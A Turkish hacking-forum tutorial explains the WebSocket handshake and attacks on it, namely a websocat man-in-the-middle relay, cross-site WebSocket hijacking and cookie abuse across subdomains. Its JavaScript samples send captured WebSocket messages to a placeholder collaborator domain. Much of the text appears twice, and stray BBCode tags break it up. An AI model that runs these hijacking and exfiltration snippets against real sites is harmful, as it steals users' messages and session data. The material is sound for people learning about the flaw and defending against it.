İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
Websocket Nedir?
WebSocket, internet üzerinde hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.
İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü WebSocket sayesinde bilgiler hemen elinize ulaşır.
Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.
Geleneksel yöntemlerin aksine, bir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.
Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.
Websocket Bağlantıları Nasıl Kurulur?
WebSocket bağlantılarının kurulumu, bir nevi internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.
El Sıkışma İsteği (Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
Websocket Nedir?
WebSocket, internet üzerinde hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.
İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü WebSocket sayesinde bilgiler hemen elinize ulaşır.
Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.
Geleneksel yöntemlerin aksine, bir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.
Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.
Websocket Bağlantıları Nasıl Kurulur?
WebSocket bağlantılarının kurulumu, bir nevi internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.
El Sıkışma İsteği (Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13
Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu
Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept, sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.
Websocat ve MITM
Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.
Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.
Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
Bu senaryo için örnek bir javascript kodu örneği:
Bu senaryoda, websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.
Cross Origin ve Farklı Subdomain ile Cookie
Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.
Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
Saldırgan, hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde, tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.
Umarım faydalı bir içerik olmuştur. Mavi tarafta kalmanız dileğiyle!
Sec-WebSocket-Accept, sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.
Websocat ve MITM
Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.
Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.
Kod:
websocat --insecure wss://10.10.10.10:8000 -v
Kod:
websocat -s 0.0.0.0:8000
Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.
Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.
Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
Bu senaryo için örnek bir javascript kodu örneği:
JavaScript:
<script>
websocket = new WebSocket('wss://your-websocket-URL');
websocket.onopen = start;
websocket.onmessage = handleReply;
function start(event) {
websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
}
function handleReply(event) {
// Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Bu senaryoda, websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.
Cross Origin ve Farklı Subdomain ile Cookie
Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.
Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
Saldırgan, hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde, tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.
JavaScript:
<script src='wsHook.js'></script>
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Umarım faydalı bir içerik olmuştur. Mavi tarafta kalmanız dileğiyle!